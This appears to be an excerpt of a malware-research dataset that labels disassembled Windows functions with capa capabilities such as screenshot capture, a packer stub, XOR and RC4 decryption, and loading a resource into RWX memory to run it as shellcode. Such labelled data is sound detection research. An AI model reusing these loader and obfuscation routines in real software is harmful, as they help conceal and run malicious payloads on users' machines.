joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6fb0b1f3
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
xor edi, edi
lea eax, [esi + 0x14]
mov dword [ebp - 0x10], edi
push eax
push edi
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
mov dword [ebp - 0xc], edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
cmp ebx, edi
jne 0x6fb0b226
push 0xe
pop eax
jmp 0x6fb0b36b
mov ecx, esi
lea edi, [ebx + 0x14]
mov eax, ecx
mov dword [ebx + 0x10], esi
mov esi, dword [ebp + 0x10]
mov dword [ebx], 0x14
shr ecx, 2
mov dword [ebx + 0xc], edi
push dword [ebp + 8]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x6fb12240]
call dword [eax + 4]
test eax, eax
mov dword [ebp + 0x14], eax
jne 0x6fb0b325
lea eax, [ebp - 0x10]
push eax
push 1
push 2
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
mov esi, eax
test esi, esi
je 0x6fb0b28c
lea eax, [ebp - 8]
push eax
push 2
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
mov esi, eax
test esi, esi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
jne 0x6fb0b299
call edi
mov dword [ebp + 0x14], eax
push dword [ebp + 8]
mov eax, dword [0x6fb12240]
call dword [eax + 8]
test esi, esi
je 0x6fb0b325
lea eax, [ebp - 0xc]
push eax
push 0x2001f
push 0
push 0
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
mov dword [ebp + 0x14], eax
jne 0x6fb0b325
mov eax, dword [ebp - 0xc]
xor esi, esi
mov dword [ebx + 4], eax
mov eax, dword [ebp - 8]
mov dword [ebx + 8], eax
lea eax, [ebp - 0x14]
push eax
push esi
push ebx
push 0x6fb0b372
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, esi
mov dword [ebp - 4], eax
jne 0x6fb0b2ef
call edi
push 0x7d0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x6fb0b31e
lea eax, [ebp + 8]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
jne 0x6fb0b316
call edi
jmp 0x6fb0b319
mov eax, dword [ebp + 8]
mov dword [ebp + 0x14], eax
jmp 0x6fb0b325
mov dword [ebp + 0x14], 0x103
xor esi, esi
cmp dword [ebp - 4], esi
jne 0x6fb0b351
cmp dword [ebp - 8], esi
je 0x6fb0b33a
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xc], esi
je 0x6fb0b348
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x6fb0b35a
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x10], esi
je 0x6fb0b368
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0x14]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x6fb0bfe0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
call fcn.6fb0b9fb
test eax, eax
je 0x6fb0c00f
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x6fb0c0b8
push ebx
push 0xe
pop ebx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x108]
push dword [ebp + 0xc]
push 0x104
push eax
call fcn.6fb0badf
test eax, eax
je 0x6fb0c0b5
mov eax, dword [ebp + 0x1c]
push esi
mov esi, dword [ebp + 0x14]
test eax, 0xfffffffe
je 0x6fb0c08f
cmp esi, 1
je 0x6fb0c050
cmp esi, 2
je 0x6fb0c050
cmp esi, 7
jne 0x6fb0c08f
lea ecx, [ebp + 0xc]
push ecx
lea ecx, [ebp + 0x18]
shr eax, 1
push ecx
push eax
push dword [ebp + 0x18]
push 0
push 0
call fcn.6fb0ba60
test eax, eax
je 0x6fb0c0a5
push dword [ebp + 0xc]
push dword [ebp + 0x18]
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 0x18]
mov ebx, eax
push 0
call fcn.6fb0bafd
jmp 0x6fb0c0a5
push eax
push dword [ebp + 0x18]
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, eax
push dword [ebp - 4]
lea eax, [ebp - 0x108]
push eax
call fcn.6fb0bafd
pop esi
mov eax, ebx
pop ebx
leave
ret 0x18

Function at 0x6fb0cee8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
push ebx
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x10]
lea esi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
lea edi, [ebp + 0x80]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
xor ebx, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor eax, eax
xor dword [ebp + eax - 0x10], 0x36363636
xor dword [ebp + eax + 0x80], 0x5c5c5c5c
add eax, 4
cmp eax, 0x10
jb 0x6fb0cf1a
lea eax, [ebp - 0xa8]
push eax
call fcn.6fb0d810
push dword [ebp + 0x94]
lea eax, [ebp - 0xa8]
push dword [ebp + 0x90]
push eax
call fcn.6fb0d820
lea eax, [ebp - 0x10]
push 0x10
push eax
lea eax, [ebp - 0xa8]
push eax
call fcn.6fb0d820
lea eax, [ebp - 0xa4]
push eax
lea eax, [ebp - 0xa8]
push eax
call fcn.6fb0d840
lea esi, [ebp + 0x80]
lea edi, [ebp - 0x34]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 5
lea eax, [ebp - 0x34]
pop ecx
push dword [ebp + 0x98]
movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0xa4]
lea edi, [ebp - 0x24]
push 0x24
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.6fb0cd04
test eax, eax
je 0x6fb0cfb1
push 1
pop ebx
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret 0x94
Function at 0x6fb0cfde
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
mov edx, dword [ebp + 0xc]
and dword [ebp - 4], 0
push esi
cmp edx, 0x40
push edi
jbe 0x6fb0cff8
push 0x40
pop edx
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0x84]
mov esi, dword [ebp + 8]
push 0x10
rep stosd dword es:[edi], eax
mov ecx, edx
lea edi, [ebp - 0x84]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop ecx
lea edi, [ebp - 0x44]
mov esi, dword [ebp + 8]
rep stosd dword es:[edi], eax
mov ecx, edx
lea edi, [ebp - 0x44]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
xor eax, eax
rep movsb byte es:[edi], byte [esi]
xor dword [ebp + eax - 0x84], 0x36363636
xor dword [ebp + eax - 0x44], 0x5c5c5c5c
add eax, 4
cmp eax, 0x40
jb 0x6fb0d040
lea eax, [ebp - 0xf8]
push eax
call fcn.6fb0d810
lea eax, [ebp - 0x84]
push 0x40
push eax
lea eax, [ebp - 0xf8]
push eax
call fcn.6fb0d820
push dword [ebp + 0x14]
lea eax, [ebp - 0xf8]
push dword [ebp + 0x10]
push eax
call fcn.6fb0d820
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0xf8]
push eax
call fcn.6fb0d840
push 0x10
lea esi, [ebp - 0x44]
pop ecx
lea edi, [ebp - 0x14c]
rep movsd dword es:[edi], dword [esi]
push 5
lea esi, [ebp - 0xf4]
pop ecx
lea edi, [ebp - 0x10c]
push dword [ebp + 0x18]
lea eax, [ebp - 0x14c]
rep movsd dword es:[edi], dword [esi]
push 0x54
push eax
call fcn.6fb0cd04
test eax, eax
je 0x6fb0d0dc
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret 0x14

Function at 0x6fb0d860
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x10]
xor ecx, ecx
push edi
xor edx, edx
mov edi, dword [esp + 0x1c]
mov cl, byte [esi + 0x100]
mov dl, byte [esi + 0x101]
test ebp, ebp
je 0x6fb0d8af
inc ecx
mov ebx, 0xff
and ecx, ebx
xor eax, eax
mov al, byte [esi + ecx]
add edx, eax
and edx, ebx
xor ebx, ebx
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
mov byte [esi + edx], al
add al, bl
mov bl, byte [edi]
mov al, byte [esi + eax]
xor bl, al
mov byte [edi], bl
inc edi
dec ebp
jne 0x6fb0d884
pop edi
lea eax, [esi + 0x100]
pop esi
pop ebp
mov byte [eax], cl
pop ebx
mov byte [eax + 1], dl
ret 0xc

Function at 0x6fb0d8c1
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
mov eax, 0x3020100
push esi
mov ecx, 0x40
mov esi, dword [esp + 0xc]
push edi
mov edx, esi
push ebp
mov dword [edx], eax
add edx, 4
add eax, 0x4040404
dec ecx
jne 0x6fb0d8d5
xor ecx, ecx
xor edi, edi
mov ebp, dword [esp + 0x1c]
mov byte [esi + 0x100], cl
mov byte [esi + 0x101], cl
xor ebx, ebx
xor edx, edx
xor eax, eax
mov dl, byte [edi + esi]
mov al, byte [ebp + ecx]
add bl, al
inc ecx
add bl, dl
inc edi
mov al, byte [ebx + esi]
mov byte [edi + esi - 1], al
cmp dword [esp + 0x18], ecx
mov byte [ebx + esi], dl
jne 0x6fb0d91b
xor ecx, ecx
cmp edi, 0x100
jb 0x6fb0d8f8
pop ebp
pop edi
pop esi
pop ebx
ret 0xc
Function at 0x6fb0db80
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 0x18]
push ebx
push ebp
push esi
cmp eax, 1
push edi
jne 0x6fb0dbd9
mov esi, dword [esp + 0x18]
mov ebx, dword [esp + 0x2c]
mov ebp, dword [esp + 0x20]
test esi, esi
jbe 0x6fb0dbae
mov ecx, ebx
mov eax, ebp
sub ecx, ebp
mov edi, esi
mov dl, byte [ecx + eax]
xor byte [eax], dl
inc eax
dec edi
jne 0x6fb0dba5
mov eax, dword [esp + 0x24]
mov edi, dword [esp + 0x1c]
push 1
push eax
push ebp
push edi
call dword [esp + 0x24]
test esi, esi
jbe 0x6fb0dc18
mov ecx, edi
mov eax, ebx
sub ecx, ebx
mov dl, byte [ecx + eax]
mov byte [eax], dl
inc eax
dec esi
jne 0x6fb0dbc9
pop edi
pop esi
pop ebp
pop ebx
ret 0x1c
test eax, eax
jne 0x6fb0dc18
mov esi, dword [esp + 0x20]
mov edi, dword [esp + 0x1c]
push eax
mov eax, dword [esp + 0x28]
push eax
push esi
push edi
call dword [esp + 0x24]
mov edx, dword [esp + 0x18]
test edx, edx
jbe 0x6fb0dc18
mov ecx, dword [esp + 0x2c]
sub esi, edi
mov eax, edi
sub ecx, edi
mov edi, edx
mov dl, byte [ecx + eax]
mov bl, byte [eax]
xor bl, dl
mov byte [eax], bl
mov dl, byte [esi + eax]
mov byte [ecx + eax], dl
inc eax
dec edi
jne 0x6fb0dc05
pop edi
pop esi
pop ebp
pop ebx
ret 0x1c

Function at 0x6fb0ec60
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x18], ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
ret 4
Function at 0x40105b
Capabilities:
Packed with generic packer

Disassembly:
add byte [eax], al
add byte [eax + eax], bh
rol byte [eax], 1
aas
add byte [eax], al
add byte [eax], al
xor byte [eax], dl
inc edx
add byte [ebx], dh
add byte [esi], ah
add byte [esi], dh
add byte [eax], al
add byte [edi], dh
add byte [eax], al
adc eax, 0x3a
cmp al, 0x55
push ebp
mov ebp, esp
pushal
push dword [ebp + 8]
nop
pop ebx
add ebx, dword [ebx + 0x3c]
xor edx, edx
mov dx, word [ebx + 0x14]
lea eax, [ebx + 0x18]
add eax, edx
xor ecx, ecx
jmp 0x401089
push dword [ebp + 0x10]
push dword [ebp + 8]
push eax
call dword [ebp + 0xc]
push 0x28
add eax, dword [esp]
add esp, 4
inc ecx
cmp cx, word [ebx + 6]
jb 0x401076
jmp 0x409640

Function at 0x4010b6
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
mov dword [ebp - 0x30], 0x30
mov dword [ebp - 0x2c], 3
mov dword [ebp - 0x28], 0x40135a
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
push dword [0x404120]
pop dword [ebp - 0x1c]
mov dword [ebp - 0x10], 6
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], str.LastViewCtrl
mov dword [ebp - 4], eax
push 0x7f00
push 0
call sub.user32.dll_LoadCursorA
mov dword [ebp - 0x14], eax
push 0x3f
call sub.user32.dll_GetSystemMetrics
cmp eax, 3
jne 0x401138
push 0x400000
nop
nop
add eax, 0x1d
push eax
nop
pop eax
and eax, eax
jne 0x401122
sub eax, 0xc
xor eax, eax
push 0
call fcn.00401537
lea eax, [ebp - 0x30]
push eax
call sub.user32.dll_RegisterClassExA
push 0
push dword [ebp + 8]
push dword [ebp - 0x54]
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push str.MyApp
push str.LastViewCtrl
push 0
call sub.user32.dll_CreateWindowExA
mov dword [ebp - 0x50], eax
push dword [ebp + 0x14]
push dword [ebp - 0x50]
call sub.user32.dll_ShowWindow
push dword [ebp - 0x50]
call sub.user32.dll_UpdateWindow
push 0
push 0
push 0
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_GetMessageA
or eax, eax
je 0x4011b2
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_TranslateMessage
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_DispatchMessageA
jmp 0x40118b
jmp 0x4093e8

Function at 0x4011db
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
mov dword [ebp - 0x14], 0
push dword [ebp - 0x14]
call sub.user32.dll_GetDC
mov dword [ebp + 0xc], eax
push 0
call sub.user32.dll_GetSystemMetrics
mov dword [ebp - 4], eax
add eax, eax
mov dword [ebp - 0xc], eax
push 1
call sub.user32.dll_GetSystemMetrics
mov dword [ebp - 8], eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [ebp + 0xc]
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [0x404010], eax
push dword [ebp + 0xc]
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 0x10], eax
push dword [0x404010]
push dword [ebp - 0x10]
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0x18], eax
push 0xcc0020
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp - 8]
push dword [ebp - 4]
push 0
push 0
push dword [ebp - 0x10]
call sub.gdi32.dll_BitBlt
push 0xcc0020
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp - 8]
push dword [ebp - 4]
push 0
push dword [ebp - 4]
push dword [ebp - 0x10]
jmp loc.00409578
Function at 0x4013ec
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
pushal
mov eax, str.GetLastError
add eax, dword [ebp + 0x10]
push eax
mov eax, 0x40400c
add eax, dword [ebp + 0x10]
push dword [eax]
mov eax, 0x40410b
add eax, dword [ebp + 0x10]
call dword [eax]
push eax
mov eax, 0x404023
add eax, dword [ebp + 0x10]
push eax
mov eax, 0x40400c
add eax, dword [ebp + 0x10]
push dword [eax]
mov eax, 0x40410b
add eax, dword [ebp + 0x10]
call dword [eax]
pop eax
call eax
or eax, eax
jne 0x401435
push eax
jmp 0x401443
cmp eax, 0x7f
jne 0x401441
jmp section..ropf
push 1
mov esi, dword [ebp + 8]
mov ebx, 0xa
mov ecx, dword [ebp + 0xc]
shr ecx, 2
mov edx, 0
mov eax, dword [ebp + 0xc]
shr eax, 2
sub eax, ecx
push eax
div ebx
inc edx
inc edx
sub dword [esi], edx
xor edx, edx
pop eax
div ebx
add edx, dword [esp]
push edx
add dword [esp], 0x4530ec21
pop edx
xor dword [esi], edx
add esi, 4
loop 0x401451
pop eax
popal
leave
ret 0x10
Function at 0x401537
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov esi, dword [esp + 0x90]
and esi, 0xffff0000
mov eax, esi
cmp word [eax], 0x5a4d
jne 0x401556
add eax, dword [eax + 0x3c]
sub esi, 0x10000
cmp word [eax], 0x4550
jne 0x40154a
add esi, 0x10000
push esi
mov eax, 0x40400c
pop dword [eax]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004014a5
mov dword [0x40410b], eax
push 0x404023
push 0x3e9
push 0
call sub.kernel32.dll_FindResourceA
or eax, eax
jne 0x40159a
leave
ret 8
push eax
push eax
push 0
call sub.kernel32.dll_SizeofResource
or eax, eax
jne 0x4015ab
leave
ret 8
mov dword [ebp - 8], eax
pop eax
push eax
push 0
call sub.kernel32.dll_LoadResource
or eax, eax
jne 0x4015bf
leave
ret 8
push eax
call sub.kernel32.dll_LockResource
or eax, eax
jne 0x4015cd
leave
ret 8
mov dword [ebp - 0xc], eax
push 4
push 0x3000
push dword [ebp - 8]
push 0
call sub.kernel32.dll_VirtualAlloc
or eax, eax
jne 0x4015e9
leave
ret 8
push eax
mov esi, dword [ebp - 0xc]
mov edi, eax
mov ecx, dword [ebp - 8]
rep movsb byte es:[edi], byte [esi]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 8]
push dword [esp + 0xc]
call fcn.004013ec
mov ebx, dword [esp]
add ebx, dword [ebx + 0x3c]
lea eax, [ebx + 0x18]
mov ebx, dword [eax + 0x38]
pop eax
push ebx
push 0x8000
push 0
push eax
call sub.kernel32.dll_VirtualFree
mov ebx, dword [ebp + 0xc]
add ebx, dword [ebx + 0x3c]
lea eax, [ebx + 0x18]
mov ebx, dword [eax + 0x38]
mov dword [ebp - 4], ebx
mov ebx, dword [esp]
add ebx, dword [ebp + 0xc]
and ebx, 0xffff0000
add ebx, 0x10000
push 0x40
push 0x3000
push dword [ebp - 4]
push ebx
call sub.kernel32.dll_VirtualAlloc
or eax, eax
je 0x40163c
mov edi, eax
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
rep movsb byte es:[edi], byte [esi]
push eax
sub eax, dword [ebp + 0xc]
add dword [ebp + 8], eax
mov ebx, 0x4016b6
add ebx, dword [ebp + 8]
mov dword [ebp - 0x14], ebx
mov ebx, 0x401b5a
add ebx, dword [ebp + 8]
sub ebx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ebx
lea ebx, [ebp - 0x14]
push ebx
push 0x401303
push dword [ebp + 0xc]
call fcn.0040105b
pop eax
pop ebx
push eax
push ebx
push dword [ebp + 8]
push dword [ebp - 8]
mov eax, dword [ebp + 8]
add dword [ebp - 0xc], eax
push dword [ebp - 0xc]
mov eax, 0x40189c
nop
jmp 0x409258
Function at 0x1000f188
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1000f197
pop dword [ebp - 0x20]
mov eax, 0xbb027dc4
sub eax, 0xab018c2d
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x386a5
push 0
mov eax, 0x41962e7
add eax, 0xbe7dd7d
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x6097b35a
add ecx, 0x9f6891fd
xor edx, edx
add edx, eax
mov ebx, 0xbe9a437f
sub ebx, 0xae98bd7f
add ebx, dword [ebp - 0x20]
mov esi, 0xd93178
add esi, 0x4bf9c1d0
sub dword [ebp - 0x1c], 0x3a98f50a
mov edi, dword [ebx]
mov dword [ebp - 8], 0xd5ed825f
sub edi, esi
xor dword [ebp - 0x14], esi
mov dword [edx], edi
sub dword [ebp - 0x18], 0x46d1c69
add edx, 0x49ed8cd
sub edx, 0x49ed8c9
add ebx, 0x5c66d201
add ebx, 0xa3992e03
loop 0x1000f1f8
add eax, 0x1082f
xor ebx, ebx
add ebx, eax
add eax, 0x2cda0092
sub eax, 0x2cda008d
mov ecx, 0x1de8522f
add ecx, 0xf217add1
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x401e90
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
xor eax, eax
test ecx, ecx
je 0x401f77
test edx, edx
je 0x401f77
mov ebp, dword [esp + 0x28]
test ebp, ebp
mov dword [esp], ecx
je 0x401eda
mov ecx, 0x1505
xor edi, edi
nop
nop
nop
nop
nop
movzx ebx, byte [edx + edi]
test ebx, ebx
je 0x401ee1
mov esi, ecx
shl esi, 5
add esi, ecx
add esi, ebx
inc edi
mov ecx, esi
cmp ebp, edi
jne 0x401ec0
jmp 0x401ee3
mov esi, 0x1505
jmp 0x401ee3
mov esi, ecx
mov dword [esp + 8], edx
mov ecx, dword [esp]
mov ebp, dword [ecx + 0x20]
lea ebx, [ebp - 1]
mov edx, ebp
sub edx, 1
jb 0x401f77
and ebx, esi
mov eax, dword [ecx + 4]
mov dword [esp + 0x10], eax
mov dword [esp + 4], edx
jmp 0x401f14
inc ebx
dec ebp
je 0x401f75
mov eax, ebx
and eax, edx
mov edi, dword [esp + 0x10]
mov edi, dword [edi + eax*4]
cmp edi, 0xffffffff
je 0x401f75
mov eax, dword [ecx + 8]
cmp dword [eax + edi*4], esi
jne 0x401f10
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + edi*4]
mov dword [esp + 0xc], eax
push eax
call fcn.00408e60
mov edx, dword [esp + 8]
mov ecx, dword [esp + 4]
add esp, 4
cmp eax, dword [esp + 0x28]
jne 0x401f10
push dword [esp + 0x28]
push dword [esp + 0x10]
push dword [esp + 0x10]
call fcn.00408e80
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
add esp, 0xc
test eax, eax
jne 0x401f10
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + edi*4]
jmp 0x401f77
xor eax, eax
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x4020c0
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x18
fldz
fstp qword [esp + 0x10]
cmp dword [esp + 0x2c], 0
je 0x402128
mov esi, dword [esp + 0x30]
test esi, esi
je 0x402128
push esi
call fcn.00408e60
add esp, 4
test eax, eax
je 0x40210a
mov ecx, 0x1505
xor edi, edi
movzx edx, byte [esi + edi]
test edx, edx
je 0x402111
mov ebp, ecx
shl ebp, 5
add ebp, ecx
add ebp, edx
inc edi
mov ecx, ebp
cmp eax, edi
jne 0x4020f0
jmp 0x402113
mov ebp, 0x1505
jmp 0x402113
mov ebp, ecx
mov dword [esp + 4], eax
mov ecx, dword [esp + 0x2c]
mov edi, dword [ecx + 0x20]
lea ebx, [edi - 1]
mov edx, edi
sub edx, 1
jae 0x402134
fld qword [esp + 0x10]
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
and ebx, ebp
mov eax, dword [ecx + 4]
mov dword [esp + 0xc], eax
mov dword [esp], edx
jmp 0x402154
inc ebx
dec edi
je 0x402128
mov eax, ebx
and eax, edx
mov esi, dword [esp + 0xc]
mov esi, dword [esi + eax*4]
cmp esi, 0xffffffff
je 0x402128
mov eax, dword [ecx + 8]
cmp dword [eax + esi*4], ebp
jne 0x402150
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + esi*4]
mov dword [esp + 8], eax
push eax
call fcn.00408e60
mov edx, dword [esp + 4]
mov ecx, dword [esp + 0x30]
add esp, 4
cmp eax, dword [esp + 4]
jne 0x402150
push dword [esp + 4]
push dword [esp + 0xc]
push dword [esp + 0x38]
call fcn.00408e80
mov edx, dword [esp + 0xc]
mov ecx, dword [esp + 0x38]
add esp, 0xc
test eax, eax
jne 0x402150
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + esi*4]
test eax, eax
je 0x402128
cmp dword [eax + 4], 3
jne 0x402128
fld qword [eax + 8]
fstp qword [esp + 0x10]
jmp 0x402128
Function at 0x402200
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
xor edi, edi
cmp dword [esp + 0x24], 0
je 0x402309
mov ebx, dword [esp + 0x28]
test ebx, ebx
je 0x402309
push ebx
call fcn.00408e60
add esp, 4
test eax, eax
je 0x40225a
mov ecx, 0x1505
xor ebp, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebx + ebp]
test edx, edx
je 0x402261
mov esi, ecx
shl esi, 5
add esi, ecx
add esi, edx
inc ebp
mov ecx, esi
cmp eax, ebp
jne 0x402240
jmp 0x402263
mov esi, 0x1505
jmp 0x402263
mov esi, ecx
mov dword [esp + 4], eax
mov ecx, dword [esp + 0x24]
mov ebx, dword [ecx + 0x20]
lea ebp, [ebx - 1]
mov edx, ebx
sub edx, 1
jb 0x402309
and ebp, esi
mov eax, dword [ecx + 4]
mov dword [esp + 0xc], eax
mov dword [esp], edx
jmp 0x402294
inc ebp
dec ebx
je 0x402307
mov eax, ebp
and eax, edx
mov edi, dword [esp + 0xc]
mov edi, dword [edi + eax*4]
cmp edi, 0xffffffff
je 0x402307
mov eax, dword [ecx + 8]
cmp dword [eax + edi*4], esi
jne 0x402290
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + edi*4]
mov dword [esp + 8], eax
push eax
call fcn.00408e60
mov edx, dword [esp + 4]
mov ecx, dword [esp + 0x28]
add esp, 4
cmp eax, dword [esp + 4]
jne 0x402290
push dword [esp + 4]
push dword [esp + 0xc]
push dword [esp + 0x30]
call fcn.00408e80
mov edx, dword [esp + 0xc]
mov ecx, dword [esp + 0x30]
add esp, 0xc
test eax, eax
jne 0x402290
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + edi*4]
test eax, eax
je 0x402307
cmp dword [eax + 4], 5
mov edi, 0
jne 0x402309
mov edi, dword [eax + 8]
jmp 0x402309
xor edi, edi
mov eax, edi
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret